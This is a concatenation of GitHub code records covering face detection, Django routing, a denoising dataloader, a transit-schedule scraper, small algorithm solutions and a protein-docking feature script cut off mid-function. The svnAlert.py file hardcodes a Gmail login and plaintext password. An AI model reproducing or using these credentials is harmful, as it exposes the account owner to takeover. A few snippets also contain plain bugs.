%%\n","repo_name":"gf-data-tools/GF_Data_Tools","sub_path":"enemy_team_analyze/enemy_team_analyze.py","file_name":"enemy_team_analyze.py","file_ext":"py","file_size_in_byte":2235,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"51"}
+{"seq_id":"11967733181","text":"#!/usr/bin/env python3.6\n\nimport cv2\n\nimagePath = sys.argv[1]\ncascPath = sys.argv[2]\n\n# haar cascade is made.\nfaceCascade = cv2.CascadeClassifier(cascPath)\n\n# read image and convert it to grayscale.\nimage = cv2.imread(path)\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n# face detection in cascade\n'''\n# detectMultiScale is a function that detects objects.\n# scaleFactor compensates for objects in the back that are seen to be smaller\n# than those in the front.\nminNeighbors := how many objects are detected near current object before\n                it declares whether or not the face is found.\nminSize := size of each window.\n'''\nfaces = faceCascade.detectMultiScale(gray, scaleFactor = 1.5, minNeighbors = 5,\n            minSize = (30, 30), flags = cv2.cv.CV_HAAR_SCALE_IMAGE)\n\nprint(\"Found {0} faces!\".format(len(faces)))\n\n# Draw rectangle around face.\n# (x, y) denotes the rectangle's location, and (w, h) denotes its width and height.\nfor (x, y, w, h) in faces:\n    cv2.rectangle(image, (x, y), (x + w, y + h), (0, 255, 0), 2)\n\ncv2.imshow(\"Faces found\" ,image)\ncv2.waitKey(0)\n","repo_name":"stylate/FaceCV","sub_path":"image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"24818113351","text":"from django.urls import path\r\n\r\nfrom .views import (\r\n    configure,\r\n    check_available_wheel_for_battery,\r\n    check_available_tire_for_wheel,\r\n    checkout,\r\n    report,\r\n    login_user,\r\n    logout_user)\r\n\r\nurlpatterns = [\r\n    path(r'', configure, name='configure'),\r\n    path(r'report/', report, name='report'),\r\n    path(r'configure/', configure, name='configure'),\r\n    path(r'check_available_wheel_for_battery/<int:battery_id>', check_available_wheel_for_battery,\r\n         name='check_available_wheel_for_battery'),\r\n    path(r'check_available_tire_for_wheel/<int:wheel_id>', check_available_tire_for_wheel,\r\n         name='check_available_tire_for_wheel'),\r\n    path(r'checkout/<int:battery_id>/<int:wheel_id>/<int:tire_id>', checkout,\r\n         name='checkout'),\r\n    path(r'login/', login_user, name='login'),\r\n    path(r'logout/', logout_user, name='logout'),\r\n]\r\n","repo_name":"hasansajedi/car_test","sub_path":"app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"8256668444","text":"import torch\nfrom torchvision import transforms as T\nfrom torch.utils.data import Dataset, DataLoader, random_split\n\nimport numpy as np\nimport math\nimport os\nfrom os import listdir\nfrom os.path import splitext\nfrom pathlib import Path\nimport random\nimport cv2\n\nfrom PIL import Image, ImageOps\n\n#import any other libraries you need below this line\n\nclass Cell_data(Dataset):\n    def __init__(self, data_dir, size, train=True, train_test_split=0.95, filetype='png'):\n        ##########################inputs##################################\n        # data_dir(string) - directory of the data#########################\n        # size(int) - size of the images you want to use###################\n        # train(boolean) - train data or test data#########################\n        # train_test_split(float) - the portion of the data for training###\n        super(Cell_data, self).__init__()\n        # todo\n        # initialize the data class\n        self.filetype = filetype\n        self.image_dir = os.path.join(data_dir, \"source\")\n        self.target_dir = os.path.join(data_dir, \"target\")\n        self.size = size\n        self.train = train\n        self.train_test_split = train_test_split\n\n        self.names = [splitext(file)[0] for file in listdir(self.image_dir) if not file.startswith('.')]\n\n        self.total = len(self.names)\n        train_len = int(self.total * self.train_test_split)\n        test_len = self.total - train_len\n\n        train_set, test_set = random_split(self.names, [train_len, test_len])\n\n        if self.train is True:\n            self.names = train_set\n        else:\n            self.names = test_set\n\n        print(self.train, len(self.names))\n\n    def __getitem__(self, idx):\n        # todo\n\n        # load image and mask from index idx of your data\n        name = self.names[idx]\n\n        one_img_dir = os.path.join(self.image_dir, name + '.' + self.filetype)\n        one_trg_dir = os.path.join(self.target_dir, name + '.' + self.filetype)\n\n        if self.filetype == \"exr\" or self.filetype == \"EXR\":\n            image = cv2.imread(one_img_dir, cv2.IMREAD_UNCHANGED)\n            target = cv2.imread(one_trg_dir, cv2.IMREAD_UNCHANGED)\n\n            rand_scale = np.random.randint(11, 16)\n            rand_scale = float(rand_scale / 10)\n            width = int(image.shape[1] * rand_scale)\n            height = int(image.shape[0] * rand_scale)\n            dim = (width, height)\n\n            # print(\"before resize: \" + str(image.shape))\n            image = cv2.resize(image, dim)\n            target = cv2.resize(target, dim)\n\n            image = image[:, :, ::-1]\n            target = target[:, :, ::-1]\n\n            # print(\"before crop: \" + str(image.shape))\n            rand_crop_x = np.random.randint(0, image.shape[1] - 572)\n            rand_crop_y = np.random.randint(0, image.shape[0] - 572)\n            image = image[rand_crop_x:rand_crop_x+572, rand_crop_y:rand_crop_y+572,:]\n            target = target[rand_crop_x:rand_crop_x + 572, rand_crop_y:rand_crop_y + 572, :]\n            # print(\"after crop: \" + str(image.shape))\n            flip = random.randint(1,4)\n\n            if flip == 2:\n                image = np.flipud(image)\n                target = np.flipud(target)\n            elif flip == 3:\n                image = np.fliplr(image)\n                target = np.fliplr(target)\n            elif flip == 4:\n                image = np.fliplr(image)\n                target = np.fliplr(target)\n                image = np.flipud(image)\n                target = np.flipud(target)\n\n            rot = random.randint(1, 4)\n            image = np.rot90(image, rot)\n            target = np.rot90(target, rot)\n\n\n\n\n        else:\n            image = Image.open(one_img_dir)\n            target = Image.open(one_trg_dir)\n            image = np.array(image)\n            target = np.array(target)\n\n        # norm_image = (image - np.min(image)) / (np.max(image) - np.min(image))\n        norm_image = np.ascontiguousarray(image)\n        # norm_target = (target - np.min(target)) / (np.max(target) - np.min(target))\n        norm_target = np.ascontiguousarray(target)\n\n        ts_image = torch.tensor(norm_image).squeeze(0).permute(2, 0, 1)\n        ts_target = torch.tensor(norm_target).squeeze(0).permute(2, 0, 1)\n        # print('input image size:' + str(ts_image.size()))\n\n        return ts_image, ts_target\n\n    def __len__(self):\n        return len(self.names)\n","repo_name":"327926791/RDUNet-for-image-denoise","sub_path":"UNet_framework/dataloader.py","file_name":"dataloader.py","file_ext":"py","file_size_in_byte":4390,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"22622344440","text":"from mock import MagicMock\nfrom src.application_business.use_cases.filter_user_by_id_usecase import FilterUserByIdUseCase\n\n\ndef test_filter_user_by_id():\n    repo_mock = MagicMock()\n    usecase = FilterUserByIdUseCase(repository=repo_mock)\n\n    usecase.execute(\"\")\n\n    repo_mock.filter_by_id.assert_called()\n","repo_name":"diododias/flask-boilerplate","sub_path":"tests/units/test_application_business/test_use_cases/test_filter_user_by_id_usecase.py","file_name":"test_filter_user_by_id_usecase.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"43851896987","text":"import sys\n\nN = int(input())  \nmax_value = 10000  # 가장 큰 입력 값 범위를 설정\ncounting = [0] * (max_value + 1)\n\nfor i in range(N):\n    input_value = int(input())  \n    counting[input_value] += 1\n\nfor i in range(max_value + 1):\n    while counting[i] > 0:\n        print(i)\n\n\n'''import sys\n\nN = int(input())\nslist = []\n\nfor i in range(N):\n    slist.append(int(sys.stdin.readline()))\n\nfinder = [0 for j in range (max(slist) - min(slist) + 1)]\n    \nfor k in slist : \n    finder[k - min(slist)] += 1\n    \nfor n in range (len(finder)) :\n    if finder[n] != 0 :\n        for b in range (finder[n]) :\n            print (min(slist) + n)\n'''\n","repo_name":"lky473736/problemsolving","sub_path":"백준/Bronze/10989. 수 정렬하기 3/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"13441204888","text":"findnum = [\"ZRO\", \"ONE\", \"TWO\", \"THR\", \"FOR\", \"FIV\", \"SIX\", \"SVN\", \"EGT\", \"NIN\"]\n\na= int(input())\nfor aa in range(a):\n    t, ns = input().split()\n    sou = input()\n    ns = int(ns)\n    totalnum = []\n    for i in findnum:\n        for idx in range(len(sou)-len(i) + 1):\n            for j in range(len(i)):\n                if sou[idx + j] != i[j]:\n                    break\n            else:\n                totalnum.append(i)\n    print(t)\n    for to in totalnum:\n        print(to,end=' ')","repo_name":"eunjineee/ODOA","sub_path":"SWEA/0812/swea1211.py","file_name":"swea1211.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"16501634028","text":"# -*- coding: utf8 -*-\n\nimport html5lib\nimport requests\nimport logging\nimport urllib\n\nfrom urlparse import urljoin, urlparse, parse_qsl\nfrom datetime import time\nfrom django.db import transaction\n\nfrom .models import TatType, Waypoint, WaypointTime, Route, Direction, Stop\nfrom .utils import humanized_days_to_flags\n\nmosgortrans_url = 'http://www.mosgortrans.org/pass3/simplified.php'\nsession = requests.session()\nlogger = logging.getLogger(__name__)\n\n\ndef get_parsed_items(url):\n    html = html5lib.parse(\n        session.get(url).content.decode('cp1251'),\n        treebuilder=\"lxml\",\n        namespaceHTMLElements=False,\n    ).getroot()\n    for a in html.xpath('//body/ul/li/a'):\n        item_title = a.text\n        item_url = urljoin(url, a.attrib['href'])\n        logger.debug('Found item name=%s url=%s', item_title, item_url)\n        yield item_title, item_url\n\n\ndef get_parsed_times(url):\n    html = html5lib.parse(\n        session.get(url).text,\n        treebuilder=\"lxml\",\n        namespaceHTMLElements=False,\n    ).getroot()\n    for item in html.xpath('//table/tbody/tr/td/span[@class=\"hour\" or @class=\"minutes\"]'):\n        if item.attrib['class'] == 'hour' and item.text and item.text.isdigit():\n            hour = int(item.text)\n        elif item.attrib['class'] == 'minutes' and item.text and item.text.isdigit():\n            minutes = int(item.text)\n            logger.debug('Found time %s:%s', hour, minutes)\n            yield time(hour, int(minutes))\n\n\ndef woodleg_for_url(url):\n    try:\n        res_url = url.encode('cp1251').decode('utf-8')\n    except:\n        res_url = url\n    for char in u'ЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЁЯЧСМИТЬБЮ':\n        if char in res_url:\n            res_url = res_url.replace(char, urllib.quote(char.encode('cp1251')))\n    return res_url\n\n\n\ndef fetch(url=mosgortrans_url, only_numbers=None):\n    for t, tu in get_parsed_items(url):\n        tat_type, created = TatType.objects.get_or_create(title=t)\n        tat_type = tat_type or created\n        for number, number_url in get_parsed_items(tu):  # numbers\n            if number == '0':\n                continue\n            if only_numbers and number not in map(lambda x: x.decode('utf-8'), only_numbers):\n                continue\n            print(u'Обновляется {type} {number}'.format(type=tat_type, number=number))\n            route, created = Route.objects.get_or_create(tat_number=number, tat_type=tat_type)\n            route = route or created\n            # применять изменения нужно разом для всего маршрута\n            with transaction.atomic():\n                Direction.objects.filter(route=route).delete()  # удалим старое перед добавлением\n\n                for days, days_url in get_parsed_items(number_url):  # days\n                    for direction, direction_url in get_parsed_items(woodleg_for_url(days_url)):  # routes\n                        direction, created = Direction.objects.get_or_create(title=direction, route=route)\n                        direction = direction or created\n                        # routes\n                        for i, (stop, stop_url) in enumerate(get_parsed_items(woodleg_for_url(direction_url))):\n                            if stop.lower().strip() == u'все остановки маршрута':\n                                continue\n                            stop, created = Stop.objects.get_or_create(title=stop)\n                            stop = stop or created\n                            waypoint, created = Waypoint.objects.get_or_create(stop=stop, direction=direction, order=i)\n                            waypoint = waypoint or created\n                            for time in get_parsed_times(woodleg_for_url(stop_url)):\n                                WaypointTime.objects.create(\n                                    time=time, waypoint=waypoint, weekdays=humanized_days_to_flags(days)\n                                )\n","repo_name":"kewtree1408/tat","sub_path":"routes/core/mostrans.py","file_name":"mostrans.py","file_ext":"py","file_size_in_byte":3987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"70575537118","text":"\"\"\"\n# Definition for a Node.\nclass Node:\n    def __init__(self, val=None, children=None):\n        self.val = val\n        self.children = children\n\"\"\"\n\nclass Solution:\n    def preorder(self, root: 'Node') -> List[int]:\n        result = []\n        if root:\n            result.append(root.val)\n            for i in root.children:\n                result += self.preorder(i)\n        return result\n","repo_name":"91d906h4/LeetCode","sub_path":"Python/589. N-ary Tree Preorder Traversal.py","file_name":"589. N-ary Tree Preorder Traversal.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"27582551030","text":"#\nclass Solution:\n    def findWinners(self, matches: List[List[int]]) -> List[List[int]]:\n        \n        winners=collections.defaultdict(int)\n        losers=collections.defaultdict(int)\n        win=[]\n        lose=[]\n        for i in range(len(matches)):\n            winners[matches[i][0]]+=1\n        for i in range(len(matches)):\n            losers[matches[i][1]]+=1   \n        for player,no in losers.items():\n            if no==1:\n                lose.append(player)\n        for player, no in winners.items():\n            if player not in losers:\n                win.append(player)\n        win.sort()\n        lose.sort()\n        return [win,lose]\n\n\n        \n","repo_name":"doyamd/competitive-programming","sub_path":"Find Players with zero or one losses.py","file_name":"Find Players with zero or one losses.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"19652468767","text":"import smtplib\r\nfrom datetime import datetime\r\nfrom socket import *\r\n\r\ndef sendEmail(usr,pw,fromaddr,toaddr):\r\n\t\r\n\t# Initialize SMTP server\r\n\tserver = smtplib.SMTP(\"smtp.gmail.com\",587)\r\n\tserver.starttls()\r\n\tserver.login(usr,pw)\r\n\t\r\n\t# Send email\r\n\tsenddate = datetime.strftime(datetime.now(),'%Y-%m-%d')\r\n\tsubject = \"New AFU version\"\r\n\tm = \"Date: %s\\r\\nFrom: %s\\r\\nTo: %s\\r\\nSubject: %s\\r\\nX-Mailer: My-Mail\\r\\n\\r\\n\" %(senddate, fromaddr, toaddr, subject)\r\n\tmsg = \" \"\r\n\t\r\n\tserver.sendmail(fromaddr, toaddr, m+msg)\r\n\tserver.quit()\r\n\t\r\nif __name__ == '__main__':\r\n\t\r\n\tusr = 'craig.verz@gmail.com'\r\n\tpw = 'Burner898!'\r\n\tfromaddr = 'craig.verz@gmail.com'\r\n\ttoaddr = 'craig.verzosa@gmail.com'\r\n\t\r\n\tsendEmail(usr,pw,fromaddr,toaddr)\r\n","repo_name":"Zantonse/Python","sub_path":"SVNAlert/svnAlert.py","file_name":"svnAlert.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"39673517420","text":"#!/usr/bin/python\r\nimport os,sys,shutil, math\r\nimport optparse, argparse    # for option sorting\r\nimport csv\r\nfrom decimal import *\r\nfrom multiprocessing import Process\r\nimport multiprocessing\r\nfrom threading import Thread\r\nimport subprocess\r\nfrom itertools import combinations\r\nimport numpy as np\r\nimport time\r\n\r\nimport torch as th\r\nimport os, sys, fnmatch\r\nimport os,sys,shutil, re, subprocess, optparse, multiprocessing\r\nimport dgl\r\nimport dgl.function as fn\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\n\r\n\r\n#------------------------configure------------------------------#\r\n#Checking configuration                                         #\r\n#---------------------------------------------------------------#\r\nconfigured = 0\r\nPIQLE_path = 'change/to/your/current/directory'\r\nif(configured == 0 or not os.path.exists(PIQLE_path + '/apps/dssp') or\r\n           not os.path.exists(PIQLE_path + '/apps/calNf_ly') or\r\n           not os.path.exists(PIQLE_path + '/apps/stride') or\r\n           not os.path.exists(PIQLE_path + '/scripts/distance_generator.py') or\r\n           not os.path.exists(PIQLE_path + '/scripts/msa_concat.py') or\r\n           not os.path.exists(PIQLE_path + '/scripts/msa_processor.py') or\r\n           not os.path.exists(PIQLE_path + '/scripts/orientation_generator.py')):\r\n\tprint(\"\\nError: not yet configured!\\nPlease configure as follows\\n$ cd PIQLE\\n$ python config.py\\n\")\r\n\texit(1)\r\n\r\ndssp_path = PIQLE_path + '/apps/dssp'\r\nstride_path = PIQLE_path + '/apps/stride'\r\nneff_generator = PIQLE_path + '/apps/calNf_ly'\r\norientation_path = PIQLE_path + '/scripts/orientation_generator.py'\r\ndistance_path = PIQLE_path + '/scripts/distance_generator.py'\r\nmsa_concat = PIQLE_path + '/scripts/msa_concat.py'\r\nprocess_msa = PIQLE_path + '/scripts/msa_processor.py'\r\n\r\nparser = argparse.ArgumentParser()\r\n\r\nparser._optionals.title = \"Arguments\"\r\n# take input arguments\r\nparser.add_argument('--tgt', dest='targetName',\r\n        default = '',    # default empty!\r\n        help = 'Target name')\r\n\r\nparser.add_argument('--seq', dest='fastaFile',\r\n        default = '',    # default empty!\r\n        help = 'Fasta file')\r\n\r\nparser.add_argument('--dec', dest='decoyDir',\r\n        default = '',    # default empty!\r\n        help = 'Complex decoy directory')\r\n\r\nparser.add_argument('--ch', dest='chainFile',\r\n\tdefault = '',    # default empty!\r\n\thelp = 'Chain file')\r\n\r\nparser.add_argument('--msa1', dest='inMsa1',\r\n\tdefault = '',    # default empty!\r\n\thelp = 'MSA1: Multiple Sequence Alignment of chain 1')\r\n\r\nparser.add_argument('--msa2', dest='inMsa2',\r\n\tdefault = '',    # default empty!\r\n\thelp = 'MSA2: Multiple Sequence Alignment of chain 2')\r\n\r\nparser.add_argument('--a3m1', dest='inA3m1',\r\n\tdefault = '',    # default empty!\r\n\thelp = 'A3M of chain1')\r\n\r\nparser.add_argument('--a3m2', dest='inA3m2',\r\n\tdefault = '',    # default empty!\r\n\thelp = 'A3M of chain2')\r\n\r\nparser.add_argument('--out', dest='outdir',\r\n\tdefault = '',    # default empty!\r\n\thelp = 'Output directory.')\r\n\r\nif len(sys.argv) < 5:\r\n        parser.print_help(sys.stderr)\r\n        sys.exit(1)\r\n\r\noptions = parser.parse_args()\r\n\r\ntargetName = options.targetName\r\nfasta = options.fastaFile\r\ndecoyPath = options.decoyDir\r\nchainFile = options.chainFile\r\nmsa1 = options.inMsa1\r\nmsa2 = options.inMsa2\r\na3m1 = options.inA3m1\r\na3m2 = options.inA3m2\r\noutPath = options.outdir\r\n\r\ndecoys = os.listdir(decoyPath)\r\nworking_path = os.getcwd()\r\nintFDist = 10\r\n\r\n#-----create necessary directories-------#\r\n#                                        #\r\n#----------------------------------------#\r\n\r\n#root output directory\r\nif not(os.path.exists(outPath)):\r\n    os.system('mkdir -p ' + outPath)\r\n    \r\n#directory for unbound decoys\r\nif not(os.path.exists(outPath + '/decoys/unbound/')):\r\n    os.system('mkdir -p ' + outPath + '/decoys/unbound/')\r\n    \r\n#directory for fasta files\r\nif not(os.path.exists(outPath + '/fasta/unbound/')):\r\n    os.system('mkdir -p ' + outPath + '/fasta/unbound/')\r\n\r\n#------------read chain ids--------------#\r\n#                                        #\r\n#----------------------------------------#\r\nchainIds = []\r\nwith open(chainFile) as cFile:\r\n    for line in cFile:\r\n        tmp = line.split()\r\n        for i in range(len(tmp)):\r\n            chainIds.append(tmp[i].strip())\r\n        break\r\n\r\n#-----------split fasta files------------#\r\n#                                        #\r\n#----------------------------------------#\r\nchainNo = 0\r\nwith open(fasta) as fFile:\r\n    for line in fFile:\r\n        if(line[0] == '>'):\r\n            outFasta = open(outPath + '/fasta/unbound/' + targetName + '_' + chainIds[chainNo] + '.fasta', 'w')\r\n            chainNo += 1\r\n        outFasta.write(line)\r\n    outFasta.close()\r\n\r\n#-----------split decoy files------------#\r\n#                                        #\r\n#----------------------------------------#\r\nfor d in range(len(decoys)):\r\n    #for each pdb file\r\n    lines = []\r\n    with open(decoyPath + '/' + decoys[d]) as pFile:\r\n        for line in pFile:\r\n            if(len(line.split())>0 and line.split()[0] == \"ATOM\"):\r\n                lines.append(line)\r\n\r\n    #split the pdb for each chain and save to unbound directory\r\n    for c in range(len(chainIds)):\r\n        if not(os.path.exists(outPath + '/decoys/unbound/' + targetName + '_' + chainIds[c])):\r\n            os.system('mkdir -p ' + outPath + '/decoys/unbound/' + targetName + '_' + chainIds[c])\r\n        outFile = open(outPath + '/decoys/unbound/' + targetName + '_' + chainIds[c] + '/' + decoys[d].split('.pdb')[0] + '_' + chainIds[c] + '.pdb', 'w')\r\n        for l in range(len(lines)):\r\n            if(lines[l][21:(21+1)].strip() == chainIds[c]):\r\n                outFile.write(lines[l])\r\n        outFile.close()\r\n\r\ndef concatMSA():\r\n    os.chdir(working_path)\r\n    if not(os.path.exists(outPath + '/msa')):\r\n        os.system('mkdir ' + outPath + '/msa')\r\n    os.chdir(outPath + '/msa/')\r\n\r\n    for c in range(len(chainIds)):\r\n        os.system('cp ' + msa1 + ' ./')\r\n        os.system('cp ' + msa2 + ' ./')\r\n        os.system('cp ' + a3m1 + ' ./')\r\n        os.system('cp ' + a3m2 + ' ./')\r\n    \r\n    for comp in combinations(chainIds, 2):\r\n        chains = list(comp)\r\n        recTemp = os.path.basename(os.path.normpath(a3m1))\r\n        ligTemp = os.path.basename(os.path.normpath(a3m2))\r\n        print('python ' + msa_concat + ' --tar ' + targetName + ' --rec ' + a3m1 + ' --lig ' +\r\n                  a3m2 + ' --ch1 ' + chainIds[0] + ' --ch2 ' + chainIds[1] + ' --out ./')\r\n        os.system('python ' + msa_concat + ' --tar ' + targetName + ' --rec ' + recTemp + ' --lig ' +\r\n                  ligTemp + ' --ch1 ' + chainIds[0] + ' --ch2 ' + chainIds[1] + ' --out ./')\r\n        \r\n    os.chdir(working_path)\r\n\r\ndef calculateNeff():\r\n    os.chdir(working_path)\r\n    total = (len(chainIds) * (len(chainIds) - 1)) / 2\r\n\r\n    con_msa = os.listdir(outPath + '/msa/')\r\n\r\n    while(1):\r\n        done = 0\r\n        for con in range(len(con_msa)):\r\n            if((outPath + '/msa/' + con_msa[con]).endswith('.concat.aln') and os.path.getsize(outPath + '/msa/' + con_msa[con]) > 0):\r\n                done += 1\r\n        if(done == total):\r\n            break\r\n\r\n    if not(os.path.exists(outPath + '/neff/bound')):\r\n        os.system('mkdir -p ' + outPath + '/neff/bound')\r\n\r\n    if not(os.path.exists(outPath + '/neff/unbound')):\r\n        os.system('mkdir -p ' + outPath + '/neff/unbound')\r\n\r\n    #process bound neff\r\n    os.system('python ' + process_msa + ' --aln ' + outPath + '/msa/ --out ' + outPath + '/neff/bound')\r\n    os.chdir(outPath + '/neff/bound')\r\n    alns = os.listdir(outPath + '/neff/bound/')\r\n    for a in range(len(alns)):\r\n        if(alns[a].endswith('.concat.aln')):\r\n            os.system(neff_generator + ' ' + outPath + '/neff/bound/' + alns[a] + ' 0.8 > ' + alns[a].split('.')[0] + '.neff')\r\n\r\n    os.chdir(working_path)\r\n    #process unbound neff\r\n    os.chdir(outPath + '/neff/unbound')\r\n    alns = os.listdir(outPath + '/msa/')\r\n    for a in range(len(alns)):\r\n        if(alns[a].endswith('.aln') and 'concat' not in alns[a]):\r\n            print(neff_generator + ' ' + outPath + '/msa/' + alns[a] + ' 0.8 > ' + alns[a].split('.')[0] + '.neff')\r\n            os.system(neff_generator + ' ' + outPath + '/msa/' + alns[a] + ' 0.8 > ' + alns[a].split('.')[0] + '.neff')\r\n\r\n    os.chdir(working_path)\r\n\r\n    \r\ndef runDSSP():\r\n    os.chdir(working_path) #just in case\r\n    for c in range(len(chainIds)):\r\n        if not(os.path.exists(outPath + '/dssp/unbound/' + targetName + '_' + chainIds[c])):\r\n            os.system('mkdir -p ' + outPath + '/dssp/unbound/' + targetName + '_' + chainIds[c])\r\n        os.chdir(outPath + '/dssp/unbound/' + targetName + '_' + chainIds[c])\r\n        decoys = os.listdir(outPath + '/decoys/unbound/' + targetName + '_' + chainIds[c])\r\n        for d in range(len(decoys)):\r\n            dssp_ret_code = os.system(dssp_path + ' -i ' + outPath + '/decoys/unbound/' + targetName + '_' + chainIds[c] + '/' + decoys[d] +\r\n                      ' -o ' + decoys[d].split('.pdb')[0] + '.dssp')\r\n\r\n            if(dssp_ret_code != 0):\r\n                print(\"DSSP failed to run. Running STRIDE for \" + outPath + '/decoys/unbound/' + targetName + '_' + chainIds[c] + '/' + decoys[d])\r\n                os.system(stride_path +\" \" + outPath + '/decoys/unbound/' + targetName + '_' + chainIds[c] + '/' + decoys[d] + \">\" +\r\n                        decoys[d].split('.pdb')[0] + '.stride')\r\n        os.chdir(working_path)\r\n            \r\n\r\ndef generatePairs():\r\n    #it will run only for targets with more than 2 chains\r\n    if(len(chainIds) > 1):\r\n        #make complex PDBs with 2 chains\r\n        for comp in combinations(chainIds, 2):\r\n            chains = list(comp)\r\n            if not(os.path.exists(outPath + '/decoys/bound/' + targetName + '_' + chains[0] + '_' + chains[1])):\r\n                os.system('mkdir -p ' + outPath + '/decoys/bound/' + targetName + '_' + chains[0] + '_' + chains[1])\r\n\r\n            #for each decoys\r\n            for d in range(len(decoys)):\r\n                lines = []\r\n                #for each chain\r\n                chainNo = 0\r\n                for c in chains:\r\n                    with open(decoyPath + '/' + decoys[d]) as dFile:\r\n                        for line in dFile:\r\n                            if(len(line.split())>0 and line.split()[0] == \"ATOM\"):\r\n                                if(line[21:(21+1)].strip() == chains[chainNo]):\r\n                                    lines.append(line)\r\n                    chainNo += 1\r\n\r\n                outFile = open(outPath + '/decoys/bound/' + targetName + '_' + chains[0] + '_' + chains[1] + '/' + decoys[d], 'w')\r\n                for l in range(len(lines)):\r\n                    outFile.write(lines[l])\r\n                outFile.close()\r\n\r\ndef generateOrientation():\r\n    boundDecDir = os.listdir(outPath + '/decoys/bound/')\r\n    for b in range(len(boundDecDir)):\r\n        if(os.path.isdir(outPath + '/decoys/bound/' + boundDecDir[b])):\r\n            if not(os.path.exists(outPath + '/orientation/' + boundDecDir[b])):\r\n                os.system('mkdir -p ' + outPath + '/orientation/' + boundDecDir[b])\r\n\r\n            chain1 = boundDecDir[b].split('_')[1]\r\n            chain2 = boundDecDir[b].split('_')[2]\r\n            os.system('python ' + orientation_path + ' -d ' + outPath + '/decoys/bound/' + boundDecDir[b] + ' -l ' + chain1 + ' -r ' +\r\n                      chain2 + ' -o ' + outPath + '/orientation/' + boundDecDir[b])\r\n\r\ndef generateDistance():\r\n    boundDecDir = os.listdir(outPath + '/decoys/bound/')\r\n    for b in range(len(boundDecDir)):\r\n        if(os.path.isdir(outPath + '/decoys/bound/' + boundDecDir[b])):\r\n            if not(os.path.exists(outPath + '/distance/' + boundDecDir[b])):\r\n                os.system('mkdir -p ' + outPath + '/distance/' + boundDecDir[b])\r\n\r\n            chain1 = boundDecDir[b].split('_')[1]\r\n            chain2 = boundDecDir[b].split('_')[2]\r\n\r\n            os.system('python ' + distance_path + ' -d ' + outPath + '/decoys/bound/' + boundDecDir[b] + ' -l ' + chain1 + ' -r ' +\r\n                      chain2 + ' -o ' + outPath + '/distance/' + boundDecDir[b])\r\n\r\n#----------feature generation------------#\r\n#                                        #\r\n#----------------------------------------#\r\ndef get8to3ss(ss_parm):\r\n    eTo3=\"\"\r\n    if (ss_parm == \"H\" or ss_parm == \"G\" or ss_parm == \"I\"):\r\n            eTo3=\"H\"\r\n    elif(ss_parm == \"E\" or ss_parm == \"B\"):\r\n            eTo3=\"E\"\r\n    else:\r\n            eTo3=\"C\"\r\n    return eTo3\r\n\r\ndef get8to3ssOneHot(ss_parm):\r\n    eTo3=\"\"\r\n    if (ss_parm == \"H\" or ss_parm == \"G\" or ss_parm == \"I\"):\r\n            eTo3=\"1 0 0\"\r\n    elif(ss_parm == \"E\" or ss_parm == \"B\"):\r\n            eTo3=\"0 1 0\"\r\n    else:\r\n            eTo3=\"0 0 1\"\r\n    return eTo3\r\n\r\ndef edgeFeatEncoding(dist):\r\n    dist = float(dist) #just in case\r\n    feat = ''\r\n    if(dist <= 2):\r\n        feat = '1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0'\r\n    if(dist > 2 and dist <= 2.5):\r\n        feat = '0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0'\r\n    if(dist > 2.5 and dist <= 3):\r\n        feat = '0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0'\r\n    if(dist > 3 and dist <= 3.5):\r\n        feat = '0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0'\r\n    if(dist > 3.5 and dist <= 4):\r\n        feat = '0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0'\r\n    if(dist > 4 and dist <= 4.5):\r\n        feat = '0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0'\r\n    if(dist > 4.5 and dist <= 5):\r\n        feat = '0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0'\r\n    if(dist > 5 and dist <= 5.5):\r\n        feat = '0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0'\r\n    if(dist > 5.5 and dist <= 6):\r\n        feat = '0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0'\r\n    if(dist > 6 and dist <= 6.5):\r\n        feat = '0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0'\r\n    if(dist > 6.5 and dist <= 7):\r\n        feat = '0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0'\r\n    if(dist > 7 and dist <= 7.5):\r\n        feat = '0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0'\r\n    if(dist > 7.5 and dist <= 8):\r\n        feat = '0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0'\r\n    if(dist > 8 and dist <= 8.5):\r\n        feat = '0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0'\r\n    if(dist > 8.5 and dist <= 9):\r\n        feat = '0 0 0 0 0 0 0 0 0 0 0 0 